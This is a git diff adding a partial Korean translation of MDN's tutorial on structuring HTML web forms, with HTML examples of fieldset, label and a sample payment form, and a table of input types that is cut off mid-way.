+ <dt><span class="short_text" id="result_box" lang="ko"><span>새로운 학습 기사 작성</span></span>[<a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Write a new learning article</a>] (<em>4 hours</em>)</dt>
+ <dd>우리는 웹 생태계와 그 주변의 다른 기능적 주제에 대한 간단하고 직접적인 기사가 필요합니다. 이 학습 기사는 말 그대로 문자 그대로 모두를 다루려고 하기 보다는 교육적일 필요가 있기 때문에 무엇을 알아야하고 어떻게 하면 훌륭한 자산이 될지를 아는 당신의 경험으로 도움을 줄 수 있습니다.</dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>연습 문제, 퀴즈 또는 대화식 학습 도구 만들기</span></span>[<a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Create exercises, <abbr title="Multiple Choice Tests">quizzes</abbr> or interactive learning tools</a>] (<em>? hours</em>)</dt>
+ <dd><span id="result_box" lang="ko"><span>우리의 모든 학습 기사에는 "능동적 학습" 자료가 필요합니다.</span> <span>이러한 자료는 사용자가 기사에서 설명하는 개념을 사용하고 확장하는 방법을 배우는 데 도움이 되는 연습 또는 대화형 콘텐츠입니다.</span> </span><a href="https://thimble.mozilla.org/" rel="external"><u><font color="#0066cc">Thimble</font></u></a><span lang="ko"><span>와 함께 </span></span>공유된 양방향 콘텐츠를 만드는 것부터 퀴즈 만들기에 이르기까지 여기에서 할 수 있는 많은 것들이 있습니다. 창의력을 발휘하십시오!</dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>학습 경로 만들기</span></span>[<a href="/en-US/docs/MDN/Contribute/Howto/Create_learning_pathways">Create learning pathways</a> ](<em>? hours</em>)</dt>
+ <dd>진보적이고 이해하기 쉬운 자습서를 제공하려면 콘텐츠를 하나의 경로로 만들어야 합니다. 기존 콘텐츠를 수집하고 누락된 부분을 찾아서 작성할 학습 기사를 만들 수 있습니다.</dd>
+</dl>
diff --git a/files/ko/learn/html/forms/html_폼_구성_방법/index.html b/files/ko/learn/html/forms/html_폼_구성_방법/index.html
new file mode 100644
index 0000000000..37bfbb57ae
--- /dev/null
+++ b/files/ko/learn/html/forms/html_폼_구성_방법/index.html
@@ -0,0 +1,928 @@
+---
+title: HTML_폼_구성_방법
+slug: Learn/HTML/Forms/HTML_폼_구성_방법
+translation_of: Learn/Forms/How_to_structure_a_web_form
+---
+<p>HTML폼을 만들떄 구조화 하는것은 중요한 것이다. 이것은 두가지 이유로 중요하다. 폼이 사용 할수 있다는 것을 보장하고 접근성도 늘릴수 있기 떄문이다.(즉 장애인들도 쉽게 사용할 수 있다.) <span style="line-height: 1.5;">HTML 폼의 <a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility">접근성</a>은 중요한 점이고 어떻게 폼 접근성을 높일 수 있는지 볼것이다.</span></p>
+
+<p><span style="line-height: 1.5;">HTML 폼들은 그 유연성으로 인해 HTML 중 복잡한 구조를 가지고 있는 요소중 하나이다. </span>폼 요소와 속성을 잘 혼합하면 모든 형태의 기본적인 폼을 만들 수 있다. 즉 몇몇 사람들이 HTML폼이 단순하고 매우 거칠다는 것을 발견했다는 것에 주목할 가치가 있다. <a href="https://developer.mozilla.org/en-US/docs/Archive/Web/XForms">XForms</a>같은 풍부한 기술이 있다는 것은 사실이지만 불행하게도 모든 브라우저에서 폼의 종류를 널리 구현되지 않았다. 왜냐하면 대부분 자바스크립트에 의존하여 HTML폼들을 다루기 떄문이다.이 문서에서는 HTML 폼 요소들을 어떻게 사용해야 하는지 자세하게 설명 할 것이다. 만약 사용자 폼 위젯 만들기에 대하여 자세한 내용을 알고 싶다면 다음 문서를 참조하시오. <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></p>
+
+<h2 id="글로벌_구조" style="line-height: 30px;">글로벌 구조</h2>
+
+<h3 id="&lt;form>_요소" style="line-height: 24px;">&lt;form&gt; 요소</h3>
+
+<p>{{HTMLElement("form")}} 요소는 공식적으로 폼을 정의하는 요소로 이 요소의 속성으로 폼의 작동하는 방식을 정의 할 수있다. HTML폼을 생성할떄마다 반드시 이 요소로 시작을 해야한다. 많은 보조 기술이나 브라우저 플러그인이 {{HTMLElement("form")}} 요소를 발견하고 쉽게 사용 할 수 있게 특별한 후크를 구현 할 수 있다.</p>
+
+<p>우리는 저번 문서에서 이미 이 내용을 다루었다.</p>
+
+<div class="note"><strong>주의:</strong>폼을 다른 폼으로 둘러싸는 것은 엄격하게 제한되어 있다. 만약 그렇게 하면 사용자가 사용하는 브라우저에 따라 예측할 수 없는 방식으로 작동하게 된다.</div>
+
+<p>언제든지 폼위젯을 {{HTMLElement("form")}} 요소 바깥에서 사용할 수 있다. 하지만 그렇게 사용한다면, 그 폼위젯은 어떠한 폼과도 관련이 없다. 폼 위젯들은 폼 바깥에서 사용될 수  있지만, 그 위젯들은 스스로 아무것도 하지 않을 것이기 때문에 당신이 그 위젯들 전용 프로세스를 만들어주어야 한다. 당신은 자바스크립트로 그 동작을 정의해주어야 한다.</p>
+
+<div class="note">
+<p><strong>주의:</strong>HTML5에서 HTML 폼 요소안의 폼 속성이 지원된다. 폼 속성은 {{HTMLElement("form")}} 바깥에 있는 폼요소라도 폼과 명시적으로 연결한다. 불행하게도 지금 시점에 이 기능은 다양한 브라우저에서 안정적으로 구현되지 않아서 신뢰할 수 없다.</p>
+</div>
+
+<p>{{HTMLElement("form")}} 요소는 다음과 같은 속성을 가지고 모든 속성이 필수가 아닌 선택적이다.</p>
+
+<p><br>
+ <strong style="font-style: inherit; font-weight: bold; line-height: 1.5;"> {{HTMLElement("form")}} 요소 속성</strong></p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">속성 이름</th>
+   <th scope="col">기본값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="white-space: nowrap;">{{htmlattrxref("accept-charset","form")}}</td>
+   <td><code>UNKNOWN</code></td>
+   <td>서버가 받아들일 문자 인코딩의 형식을 지정한다. 기본값은 특수 문자열 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">UNKNOWN</span><span style="line-height: 1.5;">이고 이경우에 폼 요소 안에 있는 문서의 인코딩에 맞는 인코딩이다.</span></td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("action","form")}}</td>
+   <td> </td>
+   <td>폼을 통해서 전송한 정보를 처리하는 웹페이지의 URL </td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("autocomplete","form")}}</td>
+   <td><code>on</code></td>
+   <td>이 속성은 이 폼안에 있는 위젯들의 기본값이 브라우저에 의해 자동 완성 하게 하는지 여부를 나타낸다. 이속성은 두가지 값중 하나를 같는다. <code>on</code> 또는 <code>off</code>.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("enctype","form")}}</td>
+   <td><code>application/x-www-form-urlencoded</code></td>
+   <td>\<code>method</code> 속성이 <code>post 값으로 지정되면</code>,  서버로 폼을 전송하는 콘텐츠 <a href="http://en.wikipedia.org/wiki/Mime_type">MIME</a>의 타입을 지정한다.:
+    <ul>
+     <li><code>application/x-www-form-urlencoded</code></li>
+     <li><code>multipart/form-data</code>: {{HTMLElement("input")}}요소의 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">type</span> 속성을 <em>file</em>로 지정한 경우 이 속성의 값을 사용한다. </li>
+     <li><code>text/plain</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("method","form")}}</td>
+   <td><code>get</code></td>
+   <td><span style="line-height: 1.5;">브라우저가 폼을 전송하기위해 사용하는 <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP</a>의 방식을 지정한다.</span><br>
+    <span style="line-height: 1.5;">이 속성은 두개의 값중 한개를 가진다.</span>  <code>get</code> 또는 <code>post</code>.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("name","form")}}</td>
+   <td> </td>
+   <td>폼의 이름이다. 이 속성값은 반드시 문서의 폼 사이에서 고유해야하며 빈 문자열을 지정할 수없다. 일반적으로 <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">id</span> 속성으로 대신 지정할 수 있다.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("novalidate","form")}}</td>
+   <td>(<em>false</em>)</td>
+   <td>이 불리언 속성은 폼이 전송 할떄 유효성 검사를 할수 없음을 나타낸다.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("target","form")}}</td>
+   <td><code>_self</code></td>
+   <td>폼 요청을 전송한후 응답을 어떻게 받을것인지 지정한다. 예를들어 {{HTMLElement("iframe")}}, tab, window를 사용 할 수 있다. 이 속성의 키워드로 다음과 같은 값을 사용 할 수있다.
+    <ul>
+     <li><code>_self</code>: 응답을 현재 브라우징 컨텍스트 ({{HTMLElement("iframe")}}, tab, window 등)에서 불러온다.</li>
+     <li><code>_blank</code>: 응답을 새로운 브라우징 컨텍스트로 불러온다.</li>
+     <li><code>_parent</code>: 응답을 현재의 브라우징 컨텍스트의 부모 브라우징 컨텍스트에서 불러온다. 만약 부모가 없다면 <code>_self 키워드와 똑같이 작동한다</code>.</li>
+     <li><code>_top</code>: 응답을 최상휘 레벨 브라우징 컨텍스트에서 불러온다. 만약 최상위 컨텍스트가 없다면  <code>_self 키워드와 똑같이 작동한다</code>.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>요소 밖에 폼 위젯들을 사용 할 수 있지만, 폼 위젯이 어떠한 폼과도 상관이 없다는 것을 유의 해야 한다.폼의 밖에서 위젯을 사용하는 것은 편리할 수 있지만 위젯들이 작동하기 위해 다른 것들을 해야 한다는 것을 의미한다. 아마 자바스크립트를 이용해서 동작을 정의 해야 할것이다.</p>
+
+<p><span style="line-height: 1.5;">기술적으로 HTML5는 HTML 폼 요소에서 폼 속성을 설명 했다.</span> 이것은 요소들을 실제로  {{ HTMLElement("form") }} 안에 있지 않아도 form요소로 확실하게 바인딩 하도록 해야한다. 불행하게도 모든 브라우저가 아직 이것을 충분히 지원하지 않는다.</p>
+
+<h3 id="&lt;fieldset>_와_&lt;legend>_요소" style="line-height: 24px;"> &lt;fieldset&gt; 와 &lt;legend&gt; 요소</h3>
+
+<p>{{HTMLElement("fieldset")}}요소는 같은 목적을 가진 위젯들을 편리하게 그룹화 하는 방법이다. A {{HTMLElement("fieldset")}} 요소는 라벨인 {{HTMLElement("legend")}} 요소와 같이 사용된다. {{HTMLElement("legend")}} 요소는 공식적으로 {{HTMLElement("fieldset")}} 요소를 설명하는데 사용된다. 많은 보조 기술들이 {{HTMLElement("legend")}} 요소를 {{HTMLElement("fieldset")}} 요소의 라벨로 이용하는데 사용된다. 예를 들어 <span style="line-height: 1.5;"> </span><a href="http://www.freedomscientific.com/products/fs/jaws-product-page.asp" rel="external" style="line-height: 1.5;" title="http://www.freedomscientific.com/products/fs/jaws-product-page.asp">Jaws</a>,<span style="line-height: 1.5;"> </span><a href="http://www.nvda-project.org/" rel="external" style="line-height: 1.5;" title="http://www.nvda-project.org/">NVDA</a><span style="line-height: 1.5;">같은 스크린 리더들은 각각의 위젯의 라벨을 읽기전에 legend들을 읽을 것이다.</span><span style="line-height: 1.5;"> </span></p>
+
+<p>아래 조그만 예제가 있다.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Fruit juice size&lt;/legend&gt;
+    &lt;p&gt;
+      &lt;input type="radio" name="size" id="size_1" value="small" /&gt;
+      &lt;label for="size_1"&gt;Small&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="radio" name="size" id="size_2" value="medium" /&gt;
+      &lt;label for="size_2"&gt;Medium&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="radio" name="size" id="size_3" value="large" /&gt;
+      &lt;label for="size_3"&gt;Large&lt;/label&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>이 예제를 스크림 리더가 Fruit juice size small을 먼저 읽고 Fruit juice size medium을 읽은 다음 마지막으로 Fruit juice size large을 읽을 것이다,</p>
+
+<p>이것은 가장 중요한것 중 하나이다. 대부분 라디오 버튼을 설정할떄 마다{{HTMLElement("fieldset")}} 요소 안에 있는지 확인해야한다. 다르게 사용하는 사례가 있지만 일반적으로 {{HTMLElement("fieldset")}}  요소는 폼을 강력하게 사용할 수 있게 해준다. 보조기술의 영향으로 {{HTMLElement("fieldset")}}  요소는 폼 접근 할수 있는 키 요소 중 하나이다. 이것을 남용하지 않는 것은 개발자 책임이다. 가능한 폼을 만들떄마다 스크린리더로 들어보면서 하는 것이 좋다. 만약 말이 이상하게 들린다면 개선 해야 한다는 신호이다.</p>
+
+<p>{{HTMLElement("fieldset")}} 요소는 다음과 같은 속성을 지정한다.</p>
+
+<table>
+ <caption>{{HTMLElement("fieldset")}} 요소의 속성</caption>
+ <thead>
+  <tr>
+   <th scope="col">속성 이름</th>
+   <th scope="col">기본값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("disabled","fieldset")}}</td>
+   <td>(<em>false</em>)</td>
+   <td>만약 이 불리언 속성이 설정되면 폼은(첫번째 {{ HTMLElement("legend") }}요소에 있는 요소는 예외이다. ) 이것에 파생된 요소를 사용하거나 편집 할 수없게된다. 그리고 마우스 클릭같은 어떠한 브라우저 이벤트들도 받지 않을것이다. 일반적으로 브라우저는 회색으로 이를 표시할 것이다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="The_&lt;label>_element" style="line-height: 24px;">The &lt;label&gt; element</h3>
+
+<p>{{HTMLElement("label")}} 요소는 HTML 폼 위젯을 정의하는 공식적인 방법이다. 이것은 접근성 있는 폼을 만드는데 가장 중요한 요소이다.</p>
+
+<p>{{HTMLElement("label")}} 요소는 다음과 같은 속성을 지원한다.</p>
+
+<p><br>
+ <strong style="font-style: inherit; font-weight: bold; line-height: 1.5;">{{HTMLElement("label")}} </strong><span style="font-style: inherit; line-height: 1.5;">요소의 속성</span></p>
+
+<p><br>
+  </p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">속성 명</th>
+   <th scope="col">기본값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("for","label")}}</td>
+   <td> </td>
+   <td>{{HTMLElement("label")}}  요소와 같은 문서에 있는 위젯의 라벨의 ID . 문서안의 ID와 for속성 값이 같으면 그 라벨 요소는 그 위젯의 라벨이된다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span style="line-height: 1.5;">요소는 for속성으로 지정한 위젯과 묶여진다. </span>for속성은 해당 위젯의 실제 id 속성을 참조한다. <span style="line-height: 1.5;">위젯은 요소로 둘러싸게 할수 있지만 이 경우 몇가지 보조 기술이 라벨과 위젯의 암시적인 관계를 이해하지 못하기 떄문에 for 속성을 고려 해봐야한다.</span></p>
+
+<p>심지어 보조 기술을 배제 한다고 하여도 모든 브라우저에서 공식적인 라벨 설정하면 사용자가 라벨을 누르면 해당하는 위젯이 활성화 할수 있다는 것을 알아 두어야한다. 이것은 라디오 버튼이나 체크박스를 사용하는데 특히 유용하다.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" id="taste_1" name="taste_cherry" value="1"&gt;
+    &lt;label for="taste_1"&gt;I like cherry&lt;/label&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="taste_2"&gt;
+      &lt;input type="checkbox" id="taste_2" name="taste_banana" value="1"&gt;
+      I like banana
+    &lt;/label&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>몇가지 보조 기술은 여러개의 라벨을 한개의 위젯을 다루면 문제를 가질수 있다. 이 떄문에 위젯을 그에 맞는 폼 요소안에 넣어서 사용해야한다.</p>
+
+<p>다음 예제를 보아라</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;p&gt;Required fields are followed by &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;.&lt;/p&gt;
+
+  &lt;p&gt;
+    &lt;label for="name"&gt;
+      &lt;span&gt;Name: &lt;/span&gt;
+      &lt;input type="text" id="name" name="username" required /&gt;
+      &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+
+  &lt;p&gt;
+    &lt;label for="birth"&gt;
+      &lt;span&gt;Date of birth: &lt;/span&gt;
+      &lt;input type="text" id="birth" name="userbirth" maxlength="10" /&gt; &lt;em&gt;formated as mm/dd/yyyy&lt;/em&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>이 예제에서 첫번째 단락은 필수적인 요소의 규칙들을 정의한다. 이 것은 스크린 리더와 같은 보조 기술이 필수 요소들을 찾기전에 출력하거나 읽기 위해서는 반드시 시작부분 나타내야 한다. <span style="line-height: 1.5;">이런식으로 사용자는 항상 자신이 무엇을 하는지 알 수있다.</span></p>
+
+<p>첫번째 필드는 필수적이기 떄문에 라벨 요소는 name 과 * 로 필수적인 필드를 나타낸다  이런 식으로 하면 스크린 리더는 "Name star" 또는 "Name required"이라고 읽을 것이다. ( 스크린 리더의 설정에 따라 다르지만 항상 첫번째 단락에서 읽어진 것을 읽는다).  만약 두가지 라벨을 사용한다면, 사용자가 이 요소가 필수 요소 인지 보여지는지 보장 할 수없다.</p>
+
+<p>두번째 폼 요소는 비슷하게 작동한다. 이 기술을 사용하면 사용자에게 어떻게 데이터를 작성하는지 알려주는데 확신 할 수 있다.</p>
+
+<h3 id="&lt;output>_요소" style="line-height: 24px;">&lt;output&gt; 요소</h3>
+
+<p>이 요소는 계산의 출력을 저장하는데 사용된다. It formally defines a relationship between the fields used to get the data required to perform the calculation and an element to be used to display the results. It is also understood as a live region by some assistive technologies (which means that when the content of the {{HTMLElement("output")}} element changes, the assistive technology is aware of that change and can react to it).</p>
+
+<p>{{HTMLElement("output")}} 요소는 다음 속성은 지원한다.</p>
+
+<table>
+ <caption>{{HTMLElement("output")}} 요소 속성</caption>
+ <thead>
+  <tr>
+   <th scope="col">Attribute name</th>
+   <th scope="col">Default value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("for","output")}}</td>
+   <td> </td>
+   <td>스페이스로 구분된 다른 요소의 ID로 설정하고 이 요소들에 값을 입력을 계산하는데 기여한다.(또는 다른 효과)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="form이_사용되는_일반적인_form_구조" style="line-height: 24px;">form이 사용되는 일반적인 form 구조</h3>
+
+<p>HTML 폼의 지정된 구조를 넘어서 하나의 HTML이라고 생각 하는게 좋다. T 이 의미는 HTML 폼을 구성하는데 HTML의 모든 능력을 사용할 수 있다는 것이다.</p>
+
+<p>예제에서 볼 수 있드니 라벨과 위젯을 둘러싸는데 최고의 방법은  {{HTMLElement("p")}}요소 나 {{HTMLElement("div")}}요소를 사용하는 것이다.</p>
+
+<p>게다가 {{HTMLElement("fieldset")}} 요소에 HTML 타이틀을 사용하고 복잡한 폼을 만드는데 구조에 섹션을 사용하는것도 일반적인 관행이다.</p>
+
+<p>HTML 목록은 체크박스나 라디오 버튼을 사용하는데 일반적으로 사용된다.</p>
+
+<p>간단한 지불 폼을 만들어 보자</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;h1&gt;Payment form&lt;/h1&gt;
+  &lt;p&gt;Required fields are followed by &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;.&lt;/p&gt;
+
+  &lt;section&gt;
+    &lt;h2&gt;Contact information&lt;/h2&gt;
+
+    &lt;fieldset&gt;
+      &lt;legend&gt;Title&lt;/legend&gt;
+      &lt;ul&gt;
+        &lt;li&gt;
+          &lt;label for="title_1"&gt;
+            &lt;input type="radio" id="title_1" name="title" value="M." /&gt;
+            Mister
+          &lt;/label&gt;
+        &lt;/li&gt;
+        &lt;li&gt;
+          &lt;label for="title_2"&gt;
+            &lt;input type="radio" id="title_2" name="title" value="Ms." /&gt;
+            Miss
+          &lt;/label&gt;
+        &lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/fieldset&gt;
+
+    &lt;p&gt;
+      &lt;label for="name"&gt;
+        &lt;span&gt;Name: &lt;/span&gt;
+        &lt;input type="text" id="name" name="username" required /&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+    &lt;/p&gt;
+
+     &lt;p&gt;
+      &lt;label for="mail"&gt;
+        &lt;span&gt;E-mail: &lt;/span&gt;
+        &lt;input type="email" id="mail" name="usermail" required /&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+    &lt;/p&gt;
+  &lt;/section&gt;
+
+  &lt;section&gt;
+    &lt;h2&gt;Payment information&lt;/h2&gt;
+
+    &lt;p&gt;
+      &lt;label for="card"&gt;
+        &lt;span&gt;Card type:&lt;/span&gt;
+        &lt;select id="card" name="usercard"&gt;
+          &lt;option value="visa"&gt;Visa&lt;/option&gt;
+          &lt;option value="mc"&gt;Mastercard&lt;/option&gt;
+          &lt;option value="amex"&gt;American Express&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="number"&gt;
+        &lt;span&gt;Card number:&lt;/span&gt;
+        &lt;input type="text" id="number" name="cardnumber" required /&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="date"&gt;
+        &lt;span&gt;Expiration date:&lt;/span&gt;
+        &lt;input type="text" id="date" name="expiration" required /&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+        &lt;em&gt;formated as mm/yy&lt;/em&gt;
+      &lt;/label&gt;
+    &lt;/p&gt;
+  &lt;/section&gt;
+
+  &lt;section&gt;
+    &lt;p&gt;
+      &lt;button&gt;Validate the payment&lt;/button&gt;
+    &lt;/p&gt;
+  &lt;/section&gt;
+&lt;/form&gt;</pre>
+
+<p>See this form in action (with a touch of CSS):</p>
+
+<p>{{EmbedLiveSample("A_payment_form","100%",620, "", "Learn/HTML/Forms/How_to_structure_an_HTML_form/Example")}}</p>
+
+<h2 id="HTML_위젯" style="line-height: 30px;">HTML 위젯</h2>
+
+<p>When you build a form, you need to use some widgets to collect data from the user. In this article we will see how to display those widgets; if you want to know more about the way those widgets work, it is detailed in the article: <a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets">The native form widgets</a>.</p>
+
+<h3 id="The_&lt;input>_element" style="line-height: 24px;">The &lt;input&gt; element</h3>
+
+<p>이 요소는 거의 모든 것을 할 있기 떄문에 특별 한 종류이다. 간단하게 type속성을 설정하여 완전히 바뀔수 있다. 간단하게 하기 위해서 type속성의 값을 4가지로 분류하였다. 단일 라인 텍스트 필드, 텍스트 입력 없는 컨트롤, 시간이나 날짜 컨트롤, 버튼. <span style="line-height: 1.5;">이와 같은 다형성 떄문에  {{HTMLElement("input")}} 요소는 많은 속성을 지원하지만  type 속성값에 따라 달라지기 떄문에 어느 속성이 적절한지, 어느 것이 필요한지  선택하는 것은 어려울 수 있다. </span></p>
+
+<p>This is all summarized in the following table (for a full list of all attributes, visit the page for the {{HTMLElement("input")}} element):</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">type 속성 의 값</th>
+   <th scope="col">설명</th>
+   <th scope="col">필수 속성</th>
+   <th scope="col">관련된 속성</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" style="text-align: center;">단일 선 텍스트 필드</th>
+  </tr>
+  <tr>
+   <td><code>text</code></td>
+   <td>이것은 가장 기본적인 텍스트 필드이다.  type속성을 위한 텍스트 값은 이 속성의 기본 값이다.(자동 유효성 검사를 하지않음)</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}, {{htmlattrxref("spellcheck","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>email</code></td>
+   <td>하나 또는 여러개 이메일 주소를 작성하기 위해 사용되는 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("multiple","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>password</code></td>
+   <td>텍스트 필드의 값을 가리기 위해 사용되는 텍스트 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>search</code></td>
+   <td>검색 하기 위한 텍스트 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("autosave","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}, {{htmlattrxref("spellcheck","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>tel</code></td>
+   <td>전화 번호를 입력할 수 있는 텍스트 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>절대 URL을 다루기 위한 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}</td>
+  </tr>
+  <tr>
+   <th colspan="4" style="text-align: center;">텍스트 입력 없는 컨트롤</th>
+  </tr>
+  <tr>
+   <td><code>checkbox</code></td>
+   <td>체크박스</td>
+   <td> </td>
+   <td>{{htmlattrxref("checked","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>color</code></td>
+   <td>색상을 입력 받기위한 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>file</code></td>
+   <td>A control that lets the user select a file.</td>
+   <td> </td>
+   <td>{{htmlattrxref("accept","input")}}, {{htmlattrxref("multiple","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>hidden</code></td>
+   <td>보여주지 않는 컨트롤 이지만 서버로 전송되는 필드</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>number</code></td>
+   <td>소숫점을 입력받는 컨트롤</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("step","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>radio</code></td>
+   <td>라디오 버튼. 그룹 중 한가지만 선택하기 위한 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("checked","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>range</code></td>
+   <td>정확하지 않는 숫자를 입력받기 위한 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("step","input")}}</td>
+  </tr>
+  <tr>
+   <th colspan="4" style="text-align: center;">시간 과 날짜 컨트롤</th>
+  </tr>
+  <tr>
+   <td><code>date</code></td>
+   <td>(년, 원, 일)날짜를 입력 받을 수 잇는 컨트롤</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>datetime</code></td>
